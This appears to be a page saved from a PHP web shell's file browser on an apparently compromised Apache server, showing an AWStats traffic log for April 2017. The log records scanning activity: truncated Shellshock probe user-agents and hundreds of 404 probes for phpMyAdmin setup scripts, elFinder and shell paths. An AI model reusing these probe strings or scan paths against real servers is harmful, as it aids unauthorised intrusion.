KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 DAV/2 PHP/5.2.17
System : Linux localhost 2.6.18-419.el5 #1 SMP Fri Feb 24 22:47:42 UTC 2017 x86_64
User : nobody ( 99)
PHP Version : 5.2.17
Disable Function : NONE
Directory :  /var/lib/awstats/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/lib/awstats/awstats042017.jyjjapan.jp.txt
AWSTATS DATA FILE 7.0 (build 1.971)
# If you remove this file, all statistics for date 201704 will be lost/reset.
# Last config file used to build this data file was /etc/awstats/awstats.jyjjapan.jp.conf.

# Position (offset in bytes) in this file for beginning of each section for
# direct I/O access. If you made changes somewhere in this file, you should
# also remove completely the MAP section (AWStats will rewrite it at next
# update).
BEGIN_MAP 27
POS_GENERAL 1991                
POS_TIME 2678                
POS_VISITOR 31933               
POS_DAY 250019              
POS_DOMAIN 3874                
POS_LOGIN 4113                
POS_ROBOT 4268                
POS_WORMS 5159                
POS_EMAILSENDER 5290                
POS_EMAILRECEIVER 5433                
POS_SESSION 251087              
POS_SIDER 251310              
POS_FILETYPES 5568                
POS_DOWNLOADS 5838                
POS_OS 5905                
POS_BROWSER 6136                
POS_SCREENSIZE 8828                
POS_UNKNOWNREFERER 8902                
POS_UNKNOWNREFERERBROWSER 10111               
POS_ORIGIN 10866               
POS_SEREFERRALS 11025               
POS_PAGEREFS 11201               
POS_SEARCHWORDS 13087               
POS_KEYWORDS 13319               
POS_MISC 2342                
POS_ERRORS 13443               
POS_CLUSTER 3969                
POS_SIDER_404 13613               
END_MAP

# LastLine    = Date of last record processed - Last record line number in last log - Last record offset in last log - Last record signature value
# FirstTime   = Date of first visit for history file
# LastTime    = Date of last visit for history file
# LastUpdate  = Date of last update - Nb of parsed records - Nb of parsed old records - Nb of parsed new records - Nb of parsed corrupted - Nb of parsed dropped
# TotalVisits = Number of visits
# TotalUnique = Number of unique visitors
# MonthHostsKnown   = Number of hosts known
# MonthHostsUnKnown = Number of hosts unknown
BEGIN_GENERAL 8
LastLine 20170501000000 64353 9125296 5306129551850
FirstTime 20170401000003
LastTime 20170430235959
LastUpdate 20170501000001 2012 0 2011 0 0
TotalVisits 12658               
TotalUnique 5213                
MonthHostsKnown 0                   
MonthHostsUnknown 5311                
END_GENERAL

# Misc ID - Pages - Hits - Bandwidth
BEGIN_MISC 10
QuickTimeSupport 0 0 0
JavaEnabled 0 0 0
JavascriptDisabled 0 0 0
PDFSupport 0 0 0
WindowsMediaPlayerSupport 0 0 0
AddToFavourites 0 3 0
RealPlayerSupport 0 0 0
TotalMisc 0 0 0
DirectorSupport 0 0 0
FlashSupport 0 0 0
END_MISC

# Hour - Pages - Hits - Bandwidth - Not viewed Pages - Not viewed Hits - Not viewed Bandwidth
BEGIN_TIME 24
0 11159 30045 258820615 57992 59929 17920689
1 6616 19319 167165037 57817 59055 21936306
2 3116 9074 77562052 56144 56684 16170285
3 1909 5065 40869086 57993 58349 19165205
4 1531 5473 37998455 56010 56303 17053710
5 2158 6036 51760691 59812 60177 18229633
6 2969 8156 63758603 61087 62334 23470020
7 4651 13792 117329833 60420 61967 25790592
8 5429 16913 141341518 59410 61320 17649138
9 6198 23455 167120366 58889 60661 15162786
10 6652 22759 167189340 59642 61242 26207675
11 7115 22593 180223353 60888 62609 41457790
12 10132 37946 288778175 61217 63503 22492538
13 9719 33910 253859429 60960 62827 22324500
14 9497 30894 255034560 62025 63975 19490529
15 9205 28761 236116758 62176 64052 22285650
16 9932 33064 256635357 61401 63529 19959230
17 11142 34074 273017177 63048 65003 33488391
18 10616 31465 264879883 62653 64788 20161519
19 11704 33880 283768713 63640 66302 25148578
20 15062 45706 381351220 61189 63990 20382330
21 18504 55298 453644580 57618 60553 19047563
22 17322 50174 418135872 56337 58922 24284396
23 15853 45523 378582726 55969 58510 16793529
END_TIME

# Domain - Pages - Hits - Bandwidth
# The 10 first Pages must be first (order not required for others)
BEGIN_DOMAIN 1
ip 208191 643375 5214943399
END_DOMAIN

# Cluster ID - Pages - Hits - Bandwidth
BEGIN_CLUSTER 0
END_CLUSTER

# Login - Pages - Hits - Bandwidth - Last visit
# The 10 first Pages must be first (order not required for others)
BEGIN_LOGIN 0
END_LOGIN

# Robot ID - Hits - Bandwidth - Last visit - Hits on robots.txt
# The 10 first Hits must be first (order not required for others)
BEGIN_ROBOT 21
bot[\s_+:,\.\;\/\\-] 15540 134251463 20170430225721 0
mj12bot 5239 26892148 20170407185408 0
googlebot 1412 6267268 20170430224311 0
baiduspider 99 290338 20170430055520 0
no_user_agent 80 31275 20170430181315 0
yandex 59 317221 20170424185001 0
facebook 51 4632075 20170429163626 0
python 30 6413 20170430121600 0
phantom 27 106161 20170401165114 0
wget 15 6255 20170430131849 0
ia_archiver 1 14864 20170420213319 0
java\/[0-9] 1 0 20170408072144 0
[\s_+:,\.\;\/\\-]bot 3 78 20170426190217 3
surveybot 2 834 20170426190640 0
favicon 1 3468 20170420093850 0
scanner 1 417 20170419000325 0
discovery 3 0 20170420224857 0
cfnetwork 5 502537 20170419134030 0
netcraft 5 1251 20170413104640 0
msnbot\-media 11 39688 20170415225324 0
crawl 2 417 20170428141723 0
END_ROBOT

# Worm ID - Hits - Bandwidth - Last visit
# The 5 first Hits must be first (order not required for others)
BEGIN_WORMS 0
END_WORMS

# EMail - Hits - Bandwidth - Last visit
# The 20 first Hits must be first (order not required for others)
BEGIN_EMAILSENDER 0
END_EMAILSENDER

# EMail - Hits - Bandwidth - Last visit
# The 20 first hits must be first (order not required for others)
BEGIN_EMAILRECEIVER 0
END_EMAILRECEIVER

# Files type - Hits - Bandwidth - Bandwidth without compression - Bandwidth after compression
BEGIN_FILETYPES 9
css 19311 35812505 0 0
png 2811 168270359 0 0
ico 4 318 0 0
swf 21528 267867544 0 0
php 163988 3002546330 0 0
html 44203 17681200 0 0
jpg 200924 1547715677 0 0
js 7237 25632272 0 0
gif 183369 149417194 0 0
END_FILETYPES

# Downloads - Hits - Bandwidth
BEGIN_DOWNLOADS 1
/robots.txt 3 0 78
END_DOWNLOADS

# OS ID - Hits
BEGIN_OS 16
linuxandroid 186914
winxp 2443
winlong 7901
unix 45
wii 91
java 1
win2000 11
winnt 129512
linux 845
winvista 43248
win7 139481
bsdfreebsd 324
macosx 131788
winunknown 1
win2003 1
Unknown 769
END_OS

# Browser ID - Hits
BEGIN_BROWSER 137
chrome50.0.2661.89 1145
chrome52.0.2743.116 1140
firefox44.0 1
chrome34.0.0.0 543
chrome31.0.1650.57 5
safari5.0.2 192
msie8.0 595
chrome11.0.696.34 19
chrome53.0.2785.124 912
safari6.2.8 36
msie7.0 1989
firefox9.0.1 4
chrome49.0.2623.91 424
chrome50.0.2661.86 176
chrome45.0.2454.95 79
firefox50.0 1
chrome39.0.2171.96 45
chrome47.0.2526.73 1
netscape5.0 18
chrome37.0.0.0 3028
chrome52.0.2743.98 1201
chrome46.0.2490.86 14
safari5.1.9 356
chrome41.0.2228.0 120
safari 8118
chrome34.0.1847.76 6503
safari7.0 891
safari10.1 1131
android 35727
chrome48.0.2564.116 1
firefox52.0 10549
chrome22.0.1229.79 1
chrome36.0.1985.125 19
opera9.80 20
chrome57.0.2987.98 73
chrome46.0.2490.76 4328
iphone 13506
chrome33.0.0.0 419
chrome39.0.0.0 78
chrome38.0.2125.122 7
chrome34.0.1847.116 19
safari5.1.5 74
msie9.0 5459
chrome57.0.2987.132 69857
chrome43.0.2357.65 125
chrome39.0.2171.93 135
firefox32.0 46
chrome49.0.2623.87 7
chrome53.0.2785.143 4
chrome35.0.1916.141 62
chrome51.0.2704.79 40605
msie5.5 2
chrome36.0.1985.97 50
chrome38.0.2125.102 815
chrome51.0.2704.106 4367
firefox3.0.6 1
firefox51.0 95
chrome39.0.2171.99 75
chrome23.0.1271.97 324
msie6.0 32
firefox10.0 118
sonyericsson 326
chrome36.0.1944.0 6
chrome28.0.1500.94 497
chrome39.0.2171.95 259
safari5.0.6 99
curl 3
firefox34.0 123
chrome43.0.2357.121 320
safari4.0.3 37
aweb 140
chrome42.0.2311.138 207
chrome51.0.2704.81 955
chrome57.0.2987.110 235
chrome50.0.2661.94 1
firefox43.0 3
chrome50.0.2661.102 16
chrome37.0.2062.120 5
firefox41.0 1
chrome1.0.154.36 126
chrome49.0.2623.112 2599
firefox53.0 1481
firefox48.0 1277
chrome55.0.2883.87 319
chrome58.0.3029.83 1689
chrome49.0.2623.105 1019
chrome40.0.2214.109 37
lg\- 2
safari6.0 480
firefox3.5.2 2
chrome49.0.2623.75 4
firefox47.0 419
firefox45.0 183
mozilla 208934
chrome57.0.2987.133 42893
chrome40.0.2214.89 6453
netscape6.0 1
chrome46.0.2486.0 630
chrome59.0.3053.3 36
safari8.0.2 7
chrome48.0.2564.103 137
firefox3.6.3 7
chrome44.0.2403.133 18460
firefox35.0 57
chrome55.0.2883.91 7320
chrome58.0.3029.81 3028
chrome52.0.2743.95 386
chrome56.0.2924.87 14790
chrome42.0.2311.111 1921
firefox31.0 9
chrome7.0.514.0 1
chrome47.0.2526.80 1
chrome45.0.2454.93 87
chrome40.0.2214.85 6
chrome43.0.2357.93 818
chrome56.0.2924.76 2
safari8.0 4967
chrome34.0.1847.118 418
Unknown 372
chrome30.0.1599.101 1
chrome30.0.1599.114 104
chrome47.0.2526.83 72
chrome30.0.0.0 4526
firefox17.0 26
safari10.0 82316
chrome41.0.2272.118 609
safari10.0.3 255
safari9.0 12282
chrome48.0.2564.109 1
chrome44.0.2403.119 68
msie10.0 1198
chrome30.0.1599.103 41
msie28.0 1
safari5.1 93
chrome54.0.2840.85 471
chrome48.0.2564.97 1
safari9.1.3 1012
END_BROWSER

# Screen size - Hits
BEGIN_SCREENSIZE 0
END_SCREENSIZE

# Unknown referer OS - Last visit date
BEGIN_UNKNOWNREFERER 22
PEAR_HTTP_Request_class_(_http://pear.php.net/_) 20170429232111
Mozilla/5.0_(compatible;_DomainAppender_/1.0;__http://www.profound.net/domainappender) 20170423032519
a 20170401094612
contype 20170427132215
masscan/1.0_(https://github.com/robertdavidgraham/masscan) 20170427175703
()_{_foo;};echo;_/bin/bash_-c_\ 20170407022055
curl/7.43.0 20170404090731
Scrapy/0.24.5_(_http://scrapy.org) 20170425035600
Mozilla/6.0 20170416115401
Mozilla/5.0_zgrab/0.x 20170428183216
ltx71_-_(http://ltx71.com/) 20170422042239
Cloud_mapping_experiment._Contact_research@pdrlabs.net 20170403114203
Scanbot 20170427190029
PycURL/7.21.3 20170412043549
Mozilla/5.0_(Android_6.0.1;_Mobile;_rv:52.0)_Gecko/52.0_Firefox/52.0 20170429230352
()_{_:;};echo;_/bin/bash_-c_\ 20170413031044
Mozilla/5.0 20170428233452
KISA_Privacy_Incident_Response_System_Contact_Us_02-6952-6000_(Search_for_personal_information_and_deletion_support_system) 20170425000643
Mozilla/4.0_(compatible;) 20170430234012
Mozilla/5.0_(compatible;_Nmap_Scripting_Engine;_https://nmap.org/book/nse.html) 20170405062427
HttpClient 20170427144132
Shockwave_Flash 20170426104624
END_UNKNOWNREFERER

# Unknown referer Browser - Last visit date
BEGIN_UNKNOWNREFERERBROWSER 14
PEAR_HTTP_Request_class_(_http://pear.php.net/_) 20170429232111
a 20170401094612
contype 20170427132215
masscan/1.0_(https://github.com/robertdavidgraham/masscan) 20170427175703
()_{_:;};echo;_/bin/bash_-c_\ 20170413031044
()_{_foo;};echo;_/bin/bash_-c_\ 20170407022055
Scrapy/0.24.5_(_http://scrapy.org) 20170425035600
KISA_Privacy_Incident_Response_System_Contact_Us_02-6952-6000_(Search_for_personal_information_and_deletion_support_system) 20170425000643
Cloud_mapping_experiment._Contact_research@pdrlabs.net 20170403114203
ltx71_-_(http://ltx71.com/) 20170422042239
HttpClient 20170427144132
Scanbot 20170427190029
Shockwave_Flash 20170426104624
Java 20170429234106
END_UNKNOWNREFERERBROWSER

# Origin - Pages - Hits 
BEGIN_ORIGIN 6
From0 3911 5076
From1 9 10
From2 103 103
From3 187169 621187
From4 16999 16999
From5 0 0
END_ORIGIN

# Search engine referers ID - Pages - Hits
BEGIN_SEREFERRALS 3
google 92 92
bing 5 5
yahoo 6 6
END_SEREFERRALS

# External page referers - Pages - Hits
# The 10 first Pages must be first (order not required for others)
BEGIN_PAGEREFS 41
http://cafe.jyjjapan.jp 172688 559432
http://cafe.jyjjapan.jp/modules/editor/tpl/images/SWFUpload.swf 14004 14004
http://cafe.jyjjapan.jp 283 692
http://www.phpadmin.ccfactory.co.kr/index.php 34 52
http://www.phpadmin.ccfactory.co.kr/navigation.php 29 161
http://www.phpadmin.ccfactory.co.kr/sql.php 18 192
http://115.68.77.132 14 14
http://www.phpadmin.ccfactory.co.kr 14 44
http://www.phpadmin.ccfactory.co.kr/tbl_select.php 13 135
http://www.phpadmin.ccfactory.co.kr/tbl_sql.php 7 32
http://ww.jyjjapan.jp 0 4
http://pizza-tycoon.com 2 2
http://www.ccfactory.co.kr 0 4
http://www.phpadmin.ccfactory.co.kr/tbl_structure.php 6 131
http://hundejo.com 1 1
http://2fwww.jyjjapan.jp 0 1
http://w.jyjjapan.jp 1 9
http://burger-imperia.com 2 2
http://magento.jyjjapan.jp 1 1
http://www.phpadmin.ccfactory.co.kr/import.php 6 113
http://www.phpadmin.ccfactory.co.kr/db_structure.php 6 249
http://115.68.77.132:80 1 1
http://blog.jyjjapan.jp 1 1
http://www.phpadmin.ccfactory.co.kr/db_search.php 0 8
http://www.phpadmin.ccfactory.co.kr/tbl_replace.php 0 17
http://www.phpadmin.ccfactory.co.kr/db_sql.php 4 20
http://cafe.jyjjapan.jp/modules/editor/styles/default/editor.html 0 5244
http://cafe.jyjjapan.jp/sys_css_js/css_layout.css 0 6189
http://www.phpadmin.ccfactory.co.kr/tbl_change.php 5 24
https://t.co/52yIFGIffI 6 6
http://cafe.jyjjapan.jp/common/script.php 0 34034
http://cafe.jyjjapan.jp/# 1 1
http://www.phpadmin.ccfactory.co.kr/tbl_row_action.php 1 5
http://cafe.jyjjapan.jp/admin/ 6 32
http://shop.jyjjapan.jp 2 2
http://www.phpadmin.ccfactory.co.kr/main.php 6 245
http://www.phpadmin.ccfactory.co.kr/querywindow.php 1 10
http://test.jyjjapan.jp 2 2
http://ccfactory.co.kr 1 68
http://wp.jyjjapan.jp 1 1
http://store.jyjjapan.jp 2 2
END_PAGEREFS

# Search keyphrases - Number of search
# The 10 first number of search must be first (order not required for others)
BEGIN_SEARCHWORDS 4
jyj+japan+official+website 1
anything 1
cafe.jyjjapan.jp 1
jyj+japan+official 1
END_SEARCHWORDS

# Search keywords - Number of search
# The 10 first number of search must be first (order not required for others)
BEGIN_KEYWORDS 6
jyj 2
japan 2
official 2
website 1
anything 1
cafe.jyjjapan.jp 1
END_KEYWORDS

# Errors - Hits - Bandwidth
BEGIN_ERRORS 6
403 1005 136762
302 11481 44080032
206 104 1587429
500 1 553
400 13 8377
404 1427023 306838552
END_ERRORS

# URL with 404 errors - Hits - Last URL referer
BEGIN_SIDER_404 528
/db/phpmyadmin/ 1 -
/mysql/dbadmin/ 1 -
/mysqladmin/ 1 -
http://115.68.77.132:80/mysql/db/ 17 -
//sqlweb/scripts/setup.php 3 -
/%3C![CDATA[./]]%3E%3C![CDATA[modules/document/tpl/icons/declare.gif]]%3E 2 http://cafe.jyjjapan.jp/
/js/lib/elfinder/elfinder.html 1 -
http://115.68.77.132:80/PMA2011/ 17 -
/xmlrpc.php 1 -
/pages/movie.php 22 -
/shopdb/ 1 -
//phpMyAdmin-2.7.0-pl1/scripts/setup.php 3 -
/administrator/web/ 1 -
http://115.68.77.132:80/php-myadmin/ 17 -
//phpMyAdmin-2.8.0.1/scripts/setup.php 3 -
http://115.68.77.132:80/admin/pMA/ 17 -
//phpmyadmin1/scripts/setup.php 3 -
//admn/scripts/setup.php 1 -
/sql/phpMyAdmin/ 1 -
http://115.68.77.132:80/administrator/web/ 17 -
/map_ports.html 3 -
//webdb/scripts/setup.php 3 -
/db/db-admin/ 1 -
http://115.68.77.132:80/myadmin/ 17 -
/pages/schedule.php 7 https://www.google.com.sg/
/apple-touch-icon-152x152-precomposed.png 40 -
/login 1 -
/elfinder.html 1 -
/sql/sqladmin/ 1 -
/cgi-bin/php 15 -
/backup/preview_Jan27/admin/elfinder/elfinder.html 1 -
/assets/elfinder/elfinder.html 1 -
http://115.68.77.132:80/db/phpMyAdmin3/ 17 -
//phpMyAdmin-2.8.0-rc2/scripts/setup.php 3 -
/sql/sqlweb/ 1 -
/%3C![CDATA[./]]%3E%3C![CDATA[modules/document/tpl/icons/scrap.gif]]%3E 2 http://cafe.jyjjapan.jp/
/www/start.html 1 -
/SQLite/SQLiteManager-1.2.4/main.php 1 -
/mysql/pMA/ 1 -
/Http/DataLayCfg.xml 1 -
/mysql/db/ 1 -
/pages/gallery.php 3 -
http://115.68.77.132:80/phpMyAdmin4/ 17 -
/assets/b845e0c8/elfinder/elfinder.html 1 -
/main.htm 1 -
//admin/mysql/scripts/setup.php 1 -
//phpMyAdmin-2.6.2/scripts/setup.php 3 -
/admin/phpmyadmin/scripts/setup.php 2 -
/main.php 1 -
//phpMyAdmin-2.8.1-rc1/scripts/setup.php 3 -
//php-myadmin/scripts/setup.php 3 -
/sql/sql/ 1 -
/cgi-sys/defaultwebpage.cgi 1 -
/db/ 1 -
/sys-cgi 1 -
//phpMyAdmin-2.6.0-beta2/scripts/setup.php 3 -
//phpMyAdmin-2.5.5-rc1/scripts/setup.php 3 -
/wp-admin/ 1 -
http://115.68.77.132:80/sql/websql/ 17 -
/music/Lovey-Dovey.mp3 72 -
/lightupfashion/includes/elfinder/elfinder.html 1 -
/sql/phpMyAdmin2/ 1 -
//phpMyAdmin-2.8.0-rc1/scripts/setup.php 3 -
http://115.68.77.132:80/phpmy/ 17 -
/webroot/plugins/elfinder/elfinder.html 1 -
/sql/webdb/ 1 -
/pages/profile.php 5 -
/tcsts/tcelf/elfinder.html 1 -
/administrator/scripts/setup.php 2 -
http://115.68.77.132:80/mysql/dbadmin/ 17 -
//phpMyAdmin-2.5.7-pl1/scripts/setup.php 3 -
//admin/scripts/setup.php 4 -
/nagiosxi/includes/components/nagiosim/nagiosim.php 1 -
//phpmy-admin/scripts/setup.php 3 -
//p/m/a/scripts/setup.php 3 -
http://115.68.77.132:80/dbadmin/ 17 -
/sql/sql-admin/ 1 -
/assets/elfinder1/elfinder.html 1 -
/common/js/elfinder-2.0-rc1/elfinder.html 1 -
/apple-touch-icon.png 6632 -
//phpMyAdmin-2.8.0.4/scripts/setup.php 3 -
/mysql/pma/ 1 -
http://115.68.77.132:80/administrator/PMA/ 17 -
/preview/admin/elfinder/elfinder.html 1 -
http://115.68.77.132:80/program/ 17 -
/redirect.php 1 -
/%3C![CDATA[./]]%3E%3C![CDATA[modules/document/tpl/icons/vote_down.gif]]%3E 2 http://cafe.jyjjapan.jp/
//phpMyAdmin-2.6.0-pl3/scripts/setup.php 3 -
/nicasia/assets/elfinder/elfinder.html 1 -
http://115.68.77.132:80/sql/sqlweb/ 17 -
/cgi-bin/php-cgi 1 -
/web/phpMyAdmin/scripts/setup.php 2 -
http://115.68.77.132:80/sql/sqladmin/ 17 -
//phpMyAdmin-2.5.6-rc2/scripts/setup.php 3 -
//phpMyAdmin-2.6.4-pl3/scripts/setup.php 3 -
/dev/elfinder/elfinder.html 1 -
/apple-touch-icon-precomposed.png 6571 -
/cgi-mod/index.cgi 1 -
/icons/apache_pb.gif 1 -
/db/websql/ 1 -
/recordings/index.php 4 -
http://115.68.77.132:80/phppma/ 17 -
/mysqldumper 1 -
/authority/elfinder/elfinder.html 1 -
http://115.68.77.132:80/db/ 17 -
/backup/preview_problem/admin/elfinder/elfinder.html 1 -
http://115.68.77.132:80/mysqladmin/ 17 -
http://115.68.77.132:80/administrator/phpmyadmin/ 17 -
/packages/ahmadazimi/laravel-media-manager/elfinder.html 1 -
/PSIA/Custom/SelfExt/userCheck 1 -
/pma/scripts/setup.php 4 -
//cgi-bin/test.cgi 1 -
/cgi 7 -
/jscripts/elfinder/elfinder.html 1 -
/sql/phpmy-admin/ 1 -
http://115.68.77.132:80/mysql/ 17 -
/shell 1 http://115.68.77.132:80/shell
/cgi-bin/test.cgi 1 -
/mysql-admin/ 1 -
/admin/db/ 1 -
/archi/archi/vendor/barryvdh/elfinder-builds/elfinder.html 1 -
/career/elfinder.html 1 -
/vendor/elfinder/elfinder.html 1 -
/phpmanager/ 2 -
http://115.68.77.132:80/PMA2012/ 17 -
/db/webadmin/ 1 -
//phpMyAdmin-2.8.0-beta1/scripts/setup.php 3 -
http://115.68.77.132:80/sql/phpmy-admin/ 17 -
/member/ 3 -
/phpMyAdmin-4.2.1-all-languages 1 -
http://115.68.77.132:80/db/phpmyadmin/ 17 -
/cgi/common.cgi 9 -
/stssys.htm 8 -
/invoker/JMXInvokerServlet 1 -
//phpMyAdmin-2.8.0.2/scripts/setup.php 3 -
/Public/static/elfinder/elfinder.html 1 -
//phpMyAdmin-2/scripts/setup.php 3 -
/lib/elfinder/build/elfinder.html 1 -
//database/sql/scripts/setup.php 1 -
//phpMyAdmin-2.6.1/scripts/setup.php 3 -
//phpMyAdmin-2.2.6/scripts/setup.php 3 -
/admin/pMA/ 1 -
/administrator/pma/ 1 -
//phpMyAdmin-2.7.0-beta1/scripts/setup.php 3 -
http://115.68.77.132:80/admin/phpmyadmin/ 17 -
//phpMyAdmin-2.6.1-rc2/scripts/setup.php 3 -
/pma2012/ 1 -
//phpMyAdmin-2.6.0-alpha2/scripts/setup.php 3 -
/administrator/admin/ 1 -
/db/phpMyAdmin-3/ 1 -
//phpMyAdmin-2.8.0/scripts/setup.php 3 -
/apps/ippbx/recordings/recordings.php 1 -
//mysql-admin/scripts/setup.php 3 -
http://115.68.77.132:80/db/db-admin/ 17 -
/app/elfinder/elfinder.html 1 -
//web/phpmyadmin/scripts/setup.php 1 -
http://115.68.77.132:80/mysql/mysqlmanager/ 17 -
/phpMyAdmin/scripts/setup.php 4 -
http://115.68.77.132:80/phpMyAdmin/ 17 -
//htdocs/scripts/setup.php 1 -
/wp/wp-admin/ 1 -
/_phpmyadmin/scripts/setup.php 2 -
/assets/dashboard/js/elrte-1.3/elfinder/elfinder.html 1 -
/mysql/scripts/setup.php 2 -
/core 4 -
/pages/login.php 3 -
/wp-admin/admin-ajax.php 7 -
/wp-content/plugins/seo-keyword-page/readme.txt 2 -
/tmUnblock.cgi 7 -
/mySqlDumper 1 -
/recordings/ 1 -
/main.html 55 -
//dbadmin/scripts/setup.php 4 -
http://115.68.77.132:80/phpMyAdmin2/ 17 -
/contact.aspx 1 -
/pages/default.php 1396357 -
/recordings/theme/iefixes.css 1 -
//phpMyAdmin-2.6.0-rc1/scripts/setup.php 3 -
/current_config/Account1 2 -
/main.asp 1 -
http://115.68.77.132:80/PMA/ 17 -
/wordpress/wp-admin/ 1 -
http://115.68.77.132:80/db/websql/ 17 -
/phpmyadmin 11 http://115.68.77.132/phpmyadmin
//phpMyAdmin-2.6.0-alpha/scripts/setup.php 3 -
/jenkins/script 1 -
http://115.68.77.132:80/admin/web/ 17 -
http://115.68.77.132:80/admin/phpMyAdmin/ 17 -
/msd1.24.4 1 -
http://115.68.77.132:80/admin/sysadmin/ 17 -
/sitemap.xml 10 -
/jmx-console 1 -
//scripts/setup.php 4 -
/admin/pma/scripts/setup.php 2 -
/market/elfinder.html 1 -
/pages/sitemap.php 2 -
/MySQLDumper 1 -
/agvqxgflwtvc.html 1 -
http://115.68.77.132:80/administrator/phpMyAdmin/ 17 -
//phpadmin/scripts/setup.php 4 -
http://115.68.77.132:80/sql/sql-admin/ 17 -
/administrator/phpmyadmin/ 1 -
/phpMyAdmin-3/ 1 -
/xzomhlfldmelc.html 1 -
/plugins/weathermap/editor.php 2 -
http://115.68.77.132:80/pma2012/ 17 -
/browserconfig.xml 81 -
http://115.68.77.132:80/mysql/admin/ 17 -
/mysqlmanager/ 1 -
/mysql/ 1 -
//httpdocs/scripts/setup.php 1 -
/db/phpmyadmin3/ 1 -
/db/dbadmin/ 1 -
//cgi-sys/realsignup.cgi 1 -
/erpfilemanager/elfinder.html 1 -
/apple-touch-icon-120x120.png 6527 -
/common/js/elfinder_2.0/elfinder.html 1 -
/index.action/shell 4 http://115.68.77.132:80/index.action/shell
http://115.68.77.132:80/phpmyadmin/ 17 -
/contact.php 1 -
/webszerk/elfinder/elfinder.html 1 -
/myadmin/scripts/setup.php 4 -
/blog/wp-admin/ 1 -
//phpMyAdmin2/scripts/setup.php 1 -
/wordpress/wp-admin/setup-config.php 2 -
http://115.68.77.132:80/administrator/admin/ 17 -
//sqlmanager/scripts/setup.php 3 -
http://115.68.77.132:80/phpmanager/ 17 -
/jenkins 1 -
/mysqladmin/scripts/setup.php 2 -
//phpmyadmin2/scripts/setup.php 3 -
/./main.html 1 -
/old/wp-admin/ 1 -
//phpMyAdmin-2.5.5/scripts/setup.php 3 -
//xampp/phpmyadmin/scripts/setup.php 4 -
/MyAdmin/scripts/setup.php 4 -
/database/ 1 -
http://115.68.77.132:80/pma/ 17 -
/phpmyadmin/scripts/setup.php 20 -
/pages/join.php 6 -
/family/view/elfinder/elfinder.html 1 -
/myadmin 1 -
/muieblackcat 9 -
//db/scripts/setup.php 4 -
//php/phpmyadmin/scripts/setup.php 3 -
http://180.163.113.82/check_proxy 4 -
/db/phpMyAdmin/ 1 -
/library/elfinder/elfinder.html 1 -
/gotha/gotha/administrator/components/com_akquickicons/includes/elfinder/elfinder.html 1 -
/blog/robots.txt 1 -
http://115.68.77.132:80/phpmy-admin/ 17 -
/erfurt/administrator/components/com_akquickicons/includes/elfinder/elfinder.html 1 -
/backup/preview_1/admin/elfinder/elfinder.html 1 -
//admin/phpmyadmin/scripts/setup.php 4 -
/modules/admin/tpl/img/graphYesterday.gif 1 http://cafe.jyjjapan.jp/admin/
http://115.68.77.132:80/administrator/db/ 17 -
//phpMyAdmin-2.6.1-pl2/scripts/setup.php 3 -
//phpMyAdmin-2.6.1-pl3/scripts/setup.php 3 -
/manager/html 8 -
/pages/sitemap_run.php 3 -
/ms/local/vendor/barryvdh/elfinder-builds/elfinder.html 1 -
//mysql/scripts/setup.php 4 -
/sqlite/main.php 1 -
/index.php 5 -
/tiny_mce/plugins/elfinder/elfinder.html 1 -
/pplwzxfxbthvqve.html 1 -
/mysql/admin/ 1 -
/phpMyAdmin-4.2.1-english 1 -
/admin.php 1 -
/board/ 1 -
/assets/elfinder/back/elfinder.html 1 -
/erfurt/gotha/administrator/components/com_akquickicons/includes/elfinder/elfinder.html 1 -
/wp-content/plugins/stats-wp/readme.txt 2 -
/includes/elfinder/elfinder.html 1 -
/administrator/components/com_jvframework/libraries/elfinder-2.0-rc1/elfinder.html 1 -
//phpMyAdmin-2.7.0-pl2/scripts/setup.php 3 -
/RemoteControl.html 1 -
//phpMyAdmin-2.6.2-pl1/scripts/setup.php 3 -
/elfinder/elfinder.html 1 -
//phpMyAdmin-2.6.4-pl2/scripts/setup.php 3 -
//phpMyAdmin-2.6.0-beta1/scripts/setup.php 3 -
http://115.68.77.132:80/pma2011/ 17 -
//phpmanager/scripts/setup.php 3 -
http://115.68.77.132:80/mysql/pma/ 17 -
/main.aspx 1 -
